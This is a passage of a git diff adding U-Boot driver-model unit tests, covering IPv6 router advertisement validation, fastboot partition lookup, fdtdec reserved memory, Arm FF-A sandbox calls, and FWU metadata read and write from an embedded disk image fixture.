+ sandbox_eth_set_priv(0, uts);
+
+ env_set("ethact", "eth@10002000");
+ ut_assertok(net_loop(PING));
+ ut_asserteq_str("eth@10002000", env_get("ethact"));
+
+ sandbox_eth_set_tx_handler(0, NULL);
+
+ return 0;
+}
+
+DM_TEST(dm_test_eth_async_ping_reply, UT_TESTF_SCAN_FDT);
+
+#if IS_ENABLED(CONFIG_IPV6_ROUTER_DISCOVERY)
+
+static u8 ip6_ra_buf[] = {0x60, 0xf, 0xc5, 0x4a, 0x0, 0x38, 0x3a, 0xff, 0xfe,
+ 0x80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x6, 0x85, 0xe6,
+ 0x29, 0x77, 0xcb, 0xc8, 0x53, 0xff, 0x2, 0x0, 0x0,
+ 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
+ 0x1, 0x86, 0x0, 0xdc, 0x90, 0x40, 0x80, 0x15, 0x18,
+ 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3, 0x4,
+ 0x40, 0xc0, 0x0, 0x0, 0x37, 0xdc, 0x0, 0x0, 0x37,
+ 0x78, 0x0, 0x0, 0x0, 0x0, 0x20, 0x1, 0xca, 0xfe, 0xca,
+ 0xfe, 0xca, 0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
+ 0x0, 0x1, 0x1, 0x0, 0x15, 0x5d, 0xe2, 0x8a, 0x2};
+
+static int dm_test_validate_ra(struct unit_test_state *uts)
+{
+ struct ip6_hdr *ip6 = (struct ip6_hdr *)ip6_ra_buf;
+ struct icmp6hdr *icmp = (struct icmp6hdr *)(ip6 + 1);
+ __be16 temp = 0;
+
+ ut_assert(validate_ra(ip6) == true);
+
+ temp = ip6->payload_len;
+ ip6->payload_len = 15;
+ ut_assert(validate_ra(ip6) == false);
+ ip6->payload_len = temp;
+
+ temp = ip6->saddr.s6_addr16[0];
+ ip6->saddr.s6_addr16[0] = 0x2001;
+ ut_assert(validate_ra(ip6) == false);
+ ip6->saddr.s6_addr16[0] = temp;
+
+ temp = ip6->hop_limit;
+ ip6->hop_limit = 15;
+ ut_assert(validate_ra(ip6) == false);
+ ip6->hop_limit = temp;
+
+ temp = icmp->icmp6_code;
+ icmp->icmp6_code = 15;
+ ut_assert(validate_ra(ip6) == false);
+ icmp->icmp6_code = temp;
+
+ return 0;
+}
+
+DM_TEST(dm_test_validate_ra, 0);
+
+static int dm_test_process_ra(struct unit_test_state *uts)
+{
+ int len = sizeof(ip6_ra_buf);
+ struct ip6_hdr *ip6 = (struct ip6_hdr *)ip6_ra_buf;
+ struct icmp6hdr *icmp = (struct icmp6hdr *)(ip6 + 1);
+ struct ra_msg *msg = (struct ra_msg *)icmp;
+ unsigned char *option = msg->opt;
+ struct icmp6_ra_prefix_info *prefix =
+ (struct icmp6_ra_prefix_info *)option;
+ __be16 temp = 0;
+ unsigned char option_len = option[1];
+
+ ut_assert(process_ra(ip6, len) == 0);
+
+ temp = icmp->icmp6_rt_lifetime;
+ icmp->icmp6_rt_lifetime = 0;
+ ut_assert(process_ra(ip6, len) != 0);
+ icmp->icmp6_rt_lifetime = temp;
+
+ ut_assert(process_ra(ip6, 0) != 0);
+
+ option[1] = 0;
+ ut_assert(process_ra(ip6, len) != 0);
+ option[1] = option_len;
+
+ prefix->on_link = false;
+ ut_assert(process_ra(ip6, len) != 0);
+ prefix->on_link = true;
+
+ temp = prefix->prefix.s6_addr16[0];
+ prefix->prefix.s6_addr16[0] = 0x80fe;
+ ut_assert(process_ra(ip6, len) != 0);
+ prefix->prefix.s6_addr16[0] = temp;
+
+ return 0;
+}
+
+DM_TEST(dm_test_process_ra, 0);
+
+#endif
diff --git a/test/dm/extcon.c b/test/dm/extcon.c
new file mode 100644
index 00000000000..6a4e22bfdc5
--- /dev/null
+++ b/test/dm/extcon.c
@@ -0,0 +1,21 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2023 Svyatoslav Ryhel <clamor95@gmail.com>
+ */
+
+#include <dm.h>
+#include <dm/test.h>
+#include <extcon.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int dm_test_extcon(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_EXTCON, "extcon", &dev));
+
+ return 0;
+}
+
+DM_TEST(dm_test_extcon, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/fastboot.c b/test/dm/fastboot.c
new file mode 100644
index 00000000000..5d938eb7f12
--- /dev/null
+++ b/test/dm/fastboot.c
@@ -0,0 +1,94 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2015 Google, Inc
+ */
+
+#include <dm.h>
+#include <fastboot.h>
+#include <fb_mmc.h>
+#include <mmc.h>
+#include <part.h>
+#include <part_efi.h>
+#include <dm/test.h>
+#include <test/ut.h>
+#include <linux/stringify.h>
+
+#define FB_ALIAS_PREFIX "fastboot_partition_alias_"
+
+static int dm_test_fastboot_mmc_part(struct unit_test_state *uts)
+{
+ char response[FASTBOOT_RESPONSE_LEN] = {0};
+ char str_disk_guid[UUID_STR_LEN + 1];
+ struct blk_desc *mmc_dev_desc, *fb_dev_desc;
+ struct disk_partition part_info;
+ struct disk_partition parts[2] = {
+ {
+ .start = 48, /* GPT data takes up the first 34 blocks or so */
+ .size = 1,
+ .name = "test1",
+ },
+ {
+ .start = 49,
+ .size = 1,
+ .name = "test2",
+ },
+ };
+
+ /*
+ * There are a lot of literal 0s I don't want to have to construct from
+ * MMC_DEV.
+ */
+ ut_asserteq(0, CONFIG_FASTBOOT_FLASH_MMC_DEV);
+ ut_assertok(blk_get_device_by_str("mmc", "0", &mmc_dev_desc));
+ if (CONFIG_IS_ENABLED(RANDOM_UUID)) {
+ gen_rand_uuid_str(parts[0].uuid, UUID_STR_FORMAT_STD);
+ gen_rand_uuid_str(parts[1].uuid, UUID_STR_FORMAT_STD);
+ gen_rand_uuid_str(str_disk_guid, UUID_STR_FORMAT_STD);
+ }
+ ut_assertok(gpt_restore(mmc_dev_desc, str_disk_guid, parts,
+ ARRAY_SIZE(parts)));
+
+ /* "Classic" partition labels */
+ ut_asserteq(1, fastboot_mmc_get_part_info("test1", &fb_dev_desc,
+ &part_info, response));
+ ut_asserteq(2, fastboot_mmc_get_part_info("test2", &fb_dev_desc,
+ &part_info, response));
+
+ /* Test aliases */
+ ut_assertnull(env_get(FB_ALIAS_PREFIX "test3"));
+ ut_assertok(env_set(FB_ALIAS_PREFIX "test3", "test1"));
+ ut_asserteq(1, fastboot_mmc_get_part_info("test3", &fb_dev_desc,
+ &part_info, response));
+ ut_assertok(env_set(FB_ALIAS_PREFIX "test3", NULL));
+
+ /* "New" partition labels */
+ ut_asserteq(1, fastboot_mmc_get_part_info("#test1", &fb_dev_desc,
+ &part_info, response));
+ ut_asserteq(1, fastboot_mmc_get_part_info("0#test1", &fb_dev_desc,
+ &part_info, response));
+ ut_asserteq(1, fastboot_mmc_get_part_info("0.0#test1", &fb_dev_desc,
+ &part_info, response));
+ ut_asserteq(1, fastboot_mmc_get_part_info("0:1", &fb_dev_desc,
+ &part_info, response));
+ ut_asserteq(1, fastboot_mmc_get_part_info("0.0:1", &fb_dev_desc,
+ &part_info, response));
+ ut_asserteq(1, fastboot_mmc_get_part_info("0", &fb_dev_desc,
+ &part_info, response));
+ ut_asserteq(1, fastboot_mmc_get_part_info("0.0", &fb_dev_desc,
+ &part_info, response));
+ ut_asserteq(0, fastboot_mmc_get_part_info("0:0", &fb_dev_desc,
+ &part_info, response));
+ ut_asserteq(0, fastboot_mmc_get_part_info("0.0:0", &fb_dev_desc,
+ &part_info, response));
+ ut_asserteq(0, fastboot_mmc_get_part_info("2", &fb_dev_desc,
+ &part_info, response));
+ ut_asserteq(0, fastboot_mmc_get_part_info("2.0", &fb_dev_desc,
+ &part_info, response));
+ ut_asserteq(1, fastboot_mmc_get_part_info(":1", &fb_dev_desc,
+ &part_info, response));
+ ut_asserteq(0, fastboot_mmc_get_part_info(":0", &fb_dev_desc,
+ &part_info, response));
+
+ return 0;
+}
+DM_TEST(dm_test_fastboot_mmc_part, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/fdtdec.c b/test/dm/fdtdec.c
new file mode 100644
index 00000000000..b484414f5f0
--- /dev/null
+++ b/test/dm/fdtdec.c
@@ -0,0 +1,131 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2020 NXP
+ */
+
+#include <dm.h>
+#include <asm/global_data.h>
+#include <dm/of_extra.h>
+#include <dm/test.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+static int dm_test_fdtdec_set_carveout(struct unit_test_state *uts)
+{
+ struct fdt_memory resv;
+ void *blob;
+ const fdt32_t *prop;
+ int blob_sz, len, offset;
+
+ blob_sz = fdt_totalsize(gd->fdt_blob) + 4096;
+ blob = malloc(blob_sz);
+ ut_assertnonnull(blob);
+
+ /* Make a writable copy of the fdt blob */
+ ut_assertok(fdt_open_into(gd->fdt_blob, blob, blob_sz));
+
+ resv.start = 0x1000;
+ resv.end = 0x2000;
+ ut_assertok(fdtdec_set_carveout(blob, "/a-test", "memory-region", 2,
+ &resv, "test_resv1", NULL, 0, 0));
+
+ resv.start = 0x10000;
+ resv.end = 0x20000;
+ ut_assertok(fdtdec_set_carveout(blob, "/a-test", "memory-region", 1,
+ &resv, "test_resv2", NULL, 0, 0));
+
+ resv.start = 0x100000;
+ resv.end = 0x200000;
+ ut_assertok(fdtdec_set_carveout(blob, "/a-test", "memory-region", 0,
+ &resv, "test_resv3", NULL, 0, 0));
+
+ offset = fdt_path_offset(blob, "/a-test");
+ ut_assert(offset > 0);
+ prop = fdt_getprop(blob, offset, "memory-region", &len);
+ ut_assertnonnull(prop);
+
+ ut_asserteq(len, 12);
+ ut_assert(fdt_node_offset_by_phandle(blob, fdt32_to_cpu(prop[0])) > 0);
+ ut_assert(fdt_node_offset_by_phandle(blob, fdt32_to_cpu(prop[1])) > 0);
+ ut_assert(fdt_node_offset_by_phandle(blob, fdt32_to_cpu(prop[2])) > 0);
+
+ free(blob);
+
+ return 0;
+}
+DM_TEST(dm_test_fdtdec_set_carveout,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT | UT_TESTF_FLAT_TREE);
+
+static int dm_test_fdtdec_add_reserved_memory(struct unit_test_state *uts)
+{
+ struct fdt_memory resv;
+ fdt_addr_t addr;
+ fdt_size_t size;
+ void *blob;
+ unsigned long flags = FDTDEC_RESERVED_MEMORY_NO_MAP;
+ int blob_sz, parent, subnode;
+ uint32_t phandle, phandle1;
+
+ blob_sz = fdt_totalsize(gd->fdt_blob) + 128;
+ blob = malloc(blob_sz);
+ ut_assertnonnull(blob);
+
+ /* Make a writable copy of the fdt blob */
+ ut_assertok(fdt_open_into(gd->fdt_blob, blob, blob_sz));
+
+ /* Insert a memory region in /reserved-memory node */
+ resv.start = 0x1000;
+ resv.end = 0x1fff;
+ ut_assertok(fdtdec_add_reserved_memory(blob, "rsvd_region", &resv,
+ NULL, 0, &phandle, 0));
+
+ /* Test /reserve-memory and its subnode should exist */
+ parent = fdt_path_offset(blob, "/reserved-memory");
+ ut_assert(parent > 0);
+ subnode = fdt_path_offset(blob, "/reserved-memory/rsvd_region");
+ ut_assert(subnode > 0);
+
+ /* Test reg property of /reserved-memory/rsvd_region node */
+ addr = fdtdec_get_addr_size_auto_parent(blob, parent, subnode,
+ "reg", 0, &size, false);
+ ut_assert(addr == resv.start);
+ ut_assert(size == resv.end - resv.start + 1);
+
+ /* Insert another memory region in /reserved-memory node */
+ subnode = fdt_path_offset(blob, "/reserved-memory/rsvd_region1");
+ ut_assert(subnode < 0);
+
+ resv.start = 0x2000;
+ resv.end = 0x2fff;
+ ut_assertok(fdtdec_add_reserved_memory(blob, "rsvd_region1", &resv,
+ NULL, 0, &phandle1, flags));
+ subnode = fdt_path_offset(blob, "/reserved-memory/rsvd_region1");
+ ut_assert(subnode > 0);
+
+ /* check that no-map property is present */
+ ut_assert(fdt_getprop(blob, subnode, "no-map", NULL) > 0);
+
+ /* phandles must be different */
+ ut_assert(phandle != phandle1);
+
+ /*
+ * Insert a 3rd memory region with the same addr/size as the 1st one,
+ * but a new node should not be inserted due to the same addr/size.
+ */
+ resv.start = 0x1000;
+ resv.end = 0x1fff;
+ ut_assertok(fdtdec_add_reserved_memory(blob, "rsvd_region2", &resv,
+ NULL, 0, &phandle1, 0));
+ subnode = fdt_path_offset(blob, "/reserved-memory/rsvd_region2");
+ ut_assert(subnode < 0);
+
+ /* phandle must be same as the 1st one */
+ ut_assert(phandle == phandle1);
+
+ free(blob);
+
+ return 0;
+}
+DM_TEST(dm_test_fdtdec_add_reserved_memory,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT | UT_TESTF_FLAT_TREE);
diff --git a/test/dm/ffa.c b/test/dm/ffa.c
new file mode 100644
index 00000000000..fa6d54d00d6
--- /dev/null
+++ b/test/dm/ffa.c
@@ -0,0 +1,260 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Functional tests for UCLASS_FFA class
+ *
+ * Copyright 2022-2023 Arm Limited and/or its affiliates <open-source-office@arm.com>
+ *
+ * Authors:
+ * Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
+ */
+
+#include <console.h>
+#include <dm.h>
+#include <asm/sandbox_arm_ffa.h>
+#include <asm/sandbox_arm_ffa_priv.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Functional tests for the UCLASS_FFA */
+
+static int check_fwk_version(struct ffa_priv *uc_priv, struct unit_test_state *uts)
+{
+ struct ffa_sandbox_data func_data;
+ u32 fwk_version = 0;
+
+ func_data.data0 = &fwk_version;
+ func_data.data0_size = sizeof(fwk_version);
+ ut_assertok(sandbox_query_ffa_emul_state(FFA_VERSION, &func_data));
+ ut_asserteq(uc_priv->fwk_version, fwk_version);
+
+ return 0;
+}
+
+static int check_endpoint_id(struct ffa_priv *uc_priv, struct unit_test_state *uts)
+{
+ ut_asserteq(0, uc_priv->id);
+
+ return 0;
+}
+
+static int check_rxtxbuf(struct ffa_priv *uc_priv, struct unit_test_state *uts)
+{
+ ut_assertnonnull(uc_priv->pair.rxbuf);
+ ut_assertnonnull(uc_priv->pair.txbuf);
+
+ return 0;
+}
+
+static int check_features(struct ffa_priv *uc_priv, struct unit_test_state *uts)
+{
+ ut_assert(uc_priv->pair.rxtx_min_pages == RXTX_4K ||
+ uc_priv->pair.rxtx_min_pages == RXTX_16K ||
+ uc_priv->pair.rxtx_min_pages == RXTX_64K);
+
+ return 0;
+}
+
+static int check_rxbuf_mapped_flag(u32 queried_func_id,
+ u8 rxbuf_mapped,
+ struct unit_test_state *uts)
+{
+ switch (queried_func_id) {
+ case FFA_RXTX_MAP:
+ ut_asserteq(1, rxbuf_mapped);
+ break;
+ case FFA_RXTX_UNMAP:
+ ut_asserteq(0, rxbuf_mapped);
+ break;
+ default:
+ ut_assert(false);
+ }
+
+ return 0;
+}
+
+static int check_rxbuf_release_flag(u8 rxbuf_owned, struct unit_test_state *uts)
+{
+ ut_asserteq(0, rxbuf_owned);
+
+ return 0;
+}
+
+static int test_ffa_msg_send_direct_req(u16 part_id, struct unit_test_state *uts)
+{
+ struct ffa_send_direct_data msg;
+ u8 cnt;
+ struct udevice *dev;
+
+ ut_assertok(uclass_first_device_err(UCLASS_FFA, &dev));
+
+ ut_assertok(ffa_sync_send_receive(dev, part_id, &msg, 1));
+
+ for (cnt = 0; cnt < sizeof(struct ffa_send_direct_data) / sizeof(u64); cnt++)
+ ut_asserteq_64(-1UL, ((u64 *)&msg)[cnt]);
+
+ return 0;
+}
+
+static int test_partitions_and_comms(const char *service_uuid,
+ struct unit_test_state *uts)
+{
+ struct ffa_partition_desc *descs;
+ u32 count, i, j, valid_sps = 0;
+ struct udevice *dev;
+ struct ffa_sandbox_data func_data;
+ struct ffa_partitions *partitions;
+
+ ut_assertok(uclass_first_device_err(UCLASS_FFA, &dev));
+
+ /* Get from the driver the count and information of the SPs matching the UUID */
+ ut_assertok(ffa_partition_info_get(dev, service_uuid, &count, &descs));
+
+ /* Make sure the count is correct */
+ ut_asserteq(SANDBOX_SP_COUNT_PER_VALID_SERVICE, count);
+
+ /* SPs found , verify the partitions information */
+
+ func_data.data0 = &partitions;
+ func_data.data0_size = sizeof(struct ffa_partitions *);
+ ut_assertok(sandbox_query_ffa_emul_state(FFA_PARTITION_INFO_GET, &func_data));
+
+ for (i = 0; i < count ; i++) {
+ for (j = 0;
+ j < partitions->count;
+ j++) {
+ if (descs[i].info.id ==
+ partitions->descs[j].info.id) {
+ valid_sps++;
+ ut_asserteq_mem(&descs[i],
+ &partitions->descs[j],
+ sizeof(struct ffa_partition_desc));
+ /* Send and receive data from the current partition */
+ test_ffa_msg_send_direct_req(descs[i].info.id, uts);
+ }
+ }
+ }
+
+ /* Verify expected partitions found in the emulated secure world */
+ ut_asserteq(SANDBOX_SP_COUNT_PER_VALID_SERVICE, valid_sps);
+
+ return 0;
+}
+
+static int dm_test_ffa_ack(struct unit_test_state *uts)
+{
+ struct ffa_priv *uc_priv;
+ struct ffa_sandbox_data func_data;
+ u8 rxbuf_flag = 0;
+ const char *svc1_uuid = SANDBOX_SERVICE1_UUID;
+ const char *svc2_uuid = SANDBOX_SERVICE2_UUID;
+ struct udevice *dev;
+
+ /* Test probing the sandbox FF-A bus */
+ ut_assertok(uclass_first_device_err(UCLASS_FFA, &dev));
+
+ /* Get a pointer to the sandbox FF-A bus private data */
+ uc_priv = dev_get_uclass_priv(dev);
+
+ /* Make sure the private data pointer is retrieved */
+ ut_assertnonnull(uc_priv);
+
+ /* Test FFA_VERSION */
+ check_fwk_version(uc_priv, uts);
+
+ /* Test FFA_ID_GET */
+ check_endpoint_id(uc_priv, uts);
+
+ /* Test FFA_FEATURES */
+ check_features(uc_priv, uts);
+
+ /* Test RX/TX buffers */
+ check_rxtxbuf(uc_priv, uts);
+
+ /* Test FFA_RXTX_MAP */
+ func_data.data0 = &rxbuf_flag;
+ func_data.data0_size = sizeof(rxbuf_flag);
+
+ rxbuf_flag = 0;
+ sandbox_query_ffa_emul_state(FFA_RXTX_MAP, &func_data);
+ check_rxbuf_mapped_flag(FFA_RXTX_MAP, rxbuf_flag, uts);
+
+ /* FFA_PARTITION_INFO_GET / FFA_MSG_SEND_DIRECT_REQ */
+ test_partitions_and_comms(svc1_uuid, uts);
+
+ /* Test FFA_RX_RELEASE */
+ rxbuf_flag = 1;
+ sandbox_query_ffa_emul_state(FFA_RX_RELEASE, &func_data);
+ check_rxbuf_release_flag(rxbuf_flag, uts);
+
+ /* FFA_PARTITION_INFO_GET / FFA_MSG_SEND_DIRECT_REQ */
+ test_partitions_and_comms(svc2_uuid, uts);
+
+ /* Test FFA_RX_RELEASE */
+ rxbuf_flag = 1;
+ ut_assertok(sandbox_query_ffa_emul_state(FFA_RX_RELEASE, &func_data));
+ check_rxbuf_release_flag(rxbuf_flag, uts);
+
+ return 0;
+}
+
+DM_TEST(dm_test_ffa_ack, UT_TESTF_SCAN_FDT | UT_TESTF_CONSOLE_REC);
+
+static int dm_test_ffa_nack(struct unit_test_state *uts)
+{
+ struct ffa_priv *uc_priv;
+ const char *valid_svc_uuid = SANDBOX_SERVICE1_UUID;
+ const char *unvalid_svc_uuid = SANDBOX_SERVICE3_UUID;
+ const char *unvalid_svc_uuid_str = SANDBOX_SERVICE4_UUID;
+ struct ffa_send_direct_data msg;
+ int ret;
+ u32 count;
+ u16 part_id = 0;
+ struct udevice *dev;
+ struct ffa_partition_desc *descs = NULL;
+
+ /* Test probing the sandbox FF-A bus */
+ ut_assertok(uclass_first_device_err(UCLASS_FFA, &dev));
+
+ /* Get a pointer to the sandbox FF-A bus private data */
+ uc_priv = dev_get_uclass_priv(dev);
+
+ /* Make sure the private data pointer is retrieved */
+ ut_assertnonnull(uc_priv);
+
+ /* Query partitions count using invalid arguments */
+ ret = ffa_partition_info_get(dev, NULL, NULL, NULL);
+ ut_asserteq(-EINVAL, ret);
+ ret = ffa_partition_info_get(dev, unvalid_svc_uuid, NULL, NULL);
+ ut_asserteq(-EINVAL, ret);
+ ret = ffa_partition_info_get(dev, unvalid_svc_uuid, &count, NULL);
+ ut_asserteq(-EINVAL, ret);
+
+ /* Query partitions count using an invalid UUID string */
+ ret = ffa_partition_info_get(dev, unvalid_svc_uuid_str, &count, &descs);
+ ut_asserteq(-EINVAL, ret);
+
+ /* Query partitions count using an invalid UUID (no matching SP) */
+ count = 0;
+ ret = ffa_partition_info_get(dev, unvalid_svc_uuid, &count, &descs);
+ ut_asserteq(0, count);
+
+ /* Query partitions data using a valid UUID */
+ count = 0;
+ ut_assertok(ffa_partition_info_get(dev, valid_svc_uuid, &count, &descs));
+ /* Make sure partitions are detected */
+ ut_asserteq(SANDBOX_SP_COUNT_PER_VALID_SERVICE, count);
+ ut_assertnonnull(descs);
+
+ /* Send data to an invalid partition */
+ ret = ffa_sync_send_receive(dev, part_id, &msg, 1);
+ ut_asserteq(-EINVAL, ret);
+
+ /* Send data to a valid partition */
+ part_id = uc_priv->partitions.descs[0].info.id;
+ ut_assertok(ffa_sync_send_receive(dev, part_id, &msg, 1));
+
+ return 0;
+}
+
+DM_TEST(dm_test_ffa_nack, UT_TESTF_SCAN_FDT | UT_TESTF_CONSOLE_REC);
diff --git a/test/dm/firmware.c b/test/dm/firmware.c
new file mode 100644
index 00000000000..ec68e816999
--- /dev/null
+++ b/test/dm/firmware.c
@@ -0,0 +1,22 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2018 Xilinx, Inc.
+ */
+
+#include <dm.h>
+#include <syscon.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Base test of firmware probe */
+static int dm_test_firmware_probe(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_FIRMWARE,
+ "sandbox-firmware", &dev));
+ return 0;
+}
+DM_TEST(dm_test_firmware_probe, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/fpga.c b/test/dm/fpga.c
new file mode 100644
index 00000000000..8bb35358532
--- /dev/null
+++ b/test/dm/fpga.c
@@ -0,0 +1,20 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2022 Alexander Dahl <post@lespocky.de>
+ */
+
+#include <dm.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int dm_test_fpga(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_first_device_err(UCLASS_FPGA, &dev));
+
+ return 0;
+}
+
+DM_TEST(dm_test_fpga, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/fwu_mdata.c b/test/dm/fwu_mdata.c
new file mode 100644
index 00000000000..43ce3d0a9d8
--- /dev/null
+++ b/test/dm/fwu_mdata.c
@@ -0,0 +1,142 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022, Linaro Limited
+ * Copyright (c) 2022, Heinrich Schuchardt <xypron.glpk@gmx.de>
+ */
+
+#include <blk.h>
+#include <dm.h>
+#include <fwu.h>
+#include <fwu_mdata.h>
+#include <log.h>
+#include <malloc.h>
+#include <memalign.h>
+#include <part.h>
+
+#include <dm/test.h>
+#include <test/ut.h>
+
+#include "fwu_mdata_disk_image.h"
+
+/* Block size of compressed disk image */
+#define COMPRESSED_DISK_IMAGE_BLOCK_SIZE 8
+
+static struct udevice *mmc_dev;
+static struct blk_desc *dev_desc;
+
+/* One 8 byte block of the compressed disk image */
+struct line {
+ size_t addr;
+ char *line;
+};
+
+/* Compressed disk image */
+struct compressed_disk_image {
+ size_t length;
+ struct line lines[];
+};
+
+static const struct compressed_disk_image img = FWU_MDATA_DISK_IMG;
+
+/* Decompressed disk image */
+static u8 *image;
+
+static int setup_blk_device(struct unit_test_state *uts)
+{
+ ut_assertok(uclass_get_device(UCLASS_MMC, 0, &mmc_dev));
+ ut_assertok(blk_get_device_by_str("mmc", "0", &dev_desc));
+
+ return 0;
+}
+
+static int populate_mmc_disk_image(struct unit_test_state *uts)
+{
+ u8 *buf;
+ size_t i;
+ size_t addr;
+ size_t len;
+
+ buf = malloc(img.length);
+ if (!buf)
+ return -ENOMEM;
+
+ memset(buf, 0, img.length);
+
+ for (i = 0; ; i++) {
+ if (!img.lines[i].line)
+ break;
+ addr = img.lines[i].addr;
+ len = COMPRESSED_DISK_IMAGE_BLOCK_SIZE;
+ if (addr + len > img.length)
+ len = img.length - addr;
+ memcpy(buf + addr, img.lines[i].line, len);
+ }
+ image = buf;
+
+ return 0;
+}
+
+static int write_mmc_blk_device(struct unit_test_state *uts)
+{
+ lbaint_t blkcnt;
+
+ blkcnt = BLOCK_CNT(img.length, dev_desc);
+
+ ut_asserteq(blkcnt, blk_dwrite(dev_desc, 0, blkcnt, image));
+
+ return 0;
+}
+
+static int dm_test_fwu_mdata_read(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct fwu_mdata mdata = { 0 };
+
+ /*
+ * Trigger lib/fwu_updates/fwu.c fwu_boottime_checks()
+ * to populate g_dev global pointer in that library.
+ */
+ event_notify_null(EVT_MAIN_LOOP);
+
+ ut_assertok(uclass_first_device_err(UCLASS_FWU_MDATA, &dev));
+ ut_assertok(setup_blk_device(uts));
+ ut_assertok(populate_mmc_disk_image(uts));
+ ut_assertok(write_mmc_blk_device(uts));
+
+ ut_assertok(fwu_get_mdata(&mdata));
+
+ ut_asserteq(mdata.version, 0x1);
+
+ return 0;
+}
+DM_TEST(dm_test_fwu_mdata_read, UT_TESTF_SCAN_FDT);
+
+static int dm_test_fwu_mdata_write(struct unit_test_state *uts)
+{
+ u32 active_idx;
+ struct udevice *dev;
+ struct fwu_mdata mdata = { 0 };
+
+ /*
+ * Trigger lib/fwu_updates/fwu.c fwu_boottime_checks()
+ * to populate g_dev global pointer in that library.
+ */
+ event_notify_null(EVT_MAIN_LOOP);
+
+ ut_assertok(setup_blk_device(uts));
+ ut_assertok(populate_mmc_disk_image(uts));
+ ut_assertok(write_mmc_blk_device(uts));
+
+ ut_assertok(uclass_first_device_err(UCLASS_FWU_MDATA, &dev));
+
+ ut_assertok(fwu_get_mdata(&mdata));
+
+ active_idx = (mdata.active_index + 1) % CONFIG_FWU_NUM_BANKS;
+ ut_assertok(fwu_set_active_index(active_idx));
+
+ ut_assertok(fwu_get_mdata(&mdata));
+ ut_asserteq(mdata.active_index, active_idx);
+
+ return 0;
+}
+DM_TEST(dm_test_fwu_mdata_write, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/fwu_mdata_disk_image.h b/test/dm/fwu_mdata_disk_image.h
new file mode 100644
index 00000000000..b9803417c80
--- /dev/null
+++ b/test/dm/fwu_mdata_disk_image.h
@@ -0,0 +1,112 @@
+/* SPDX-License-Identifier: GPL-2.0+ */
+/*
+ * Non-zero 8 byte strings of a disk image
+ *
+ * Generated with tools/file2include
+ */
+
+#define FWU_MDATA_DISK_IMG { 0x00010000, { \
+ {0x000001c0, "\x02\x00\xee\x02\x02\x00\x01\x00"}, /* ........ */ \
+ {0x000001c8, "\x00\x00\x7f\x00\x00\x00\x00\x00"}, /* ........ */ \
+ {0x000001f8, "\x00\x00\x00\x00\x00\x00\x55\xaa"}, /* ......U. */ \
+ {0x00000200, "\x45\x46\x49\x20\x50\x41\x52\x54"}, /* EFI PART */ \
+ {0x00000208, "\x00\x00\x01\x00\x5c\x00\x00\x00"}, /* ....\... */ \
+ {0x00000210, "\xa6\xf6\x92\x20\x00\x00\x00\x00"}, /* ... .... */ \
+ {0x00000218, "\x01\x00\x00\x00\x00\x00\x00\x00"}, /* ........ */ \
+ {0x00000220, "\x7f\x00\x00\x00\x00\x00\x00\x00"}, /* ........ */ \
+ {0x00000228, "\x22\x00\x00\x00\x00\x00\x00\x00"}, /* "....... */ \
+ {0x00000230, "\x5e\x00\x00\x00\x00\x00\x00\x00"}, /* ^....... */ \
+ {0x00000238, "\xde\x99\xa2\x7e\x46\x34\xeb\x47"}, /* ...~F4.G */ \
+ {0x00000240, "\x87\xf6\x4f\x75\xe8\xd5\x7d\xc7"}, /* ..Ou..}. */ \
+ {0x00000248, "\x02\x00\x00\x00\x00\x00\x00\x00"}, /* ........ */ \
+ {0x00000250, "\x80\x00\x00\x00\x80\x00\x00\x00"}, /* ........ */ \
+ {0x00000258, "\x2a\x64\x03\x83\x00\x00\x00\x00"}, /* .d...... */ \
+ {0x00000400, "\xa0\x84\x7a\x8a\x87\x83\xf6\x40"}, /* ..z....@ */ \
+ {0x00000408, "\xab\x41\xa8\xb9\xa5\xa6\x0d\x23"}, /* .A.....# */ \
+ {0x00000410, "\x3d\x6c\xb9\xaa\x20\xb2\x18\x4c"}, /* =l.. ..L */ \
+ {0x00000418, "\xbc\x87\x1c\x9f\xe0\x35\x9b\x73"}, /* .....5.s */ \
+ {0x00000420, "\x22\x00\x00\x00\x00\x00\x00\x00"}, /* "....... */ \
+ {0x00000428, "\x31\x00\x00\x00\x00\x00\x00\x00"}, /* 1....... */ \
+ {0x00000438, "\x55\x00\x6e\x00\x6b\x00\x6e\x00"}, /* U.n.k.n. */ \
+ {0x00000440, "\x6f\x00\x77\x00\x6e\x00\x00\x00"}, /* o.w.n... */ \
+ {0x00000480, "\xa0\x84\x7a\x8a\x87\x83\xf6\x40"}, /* ..z....@ */ \
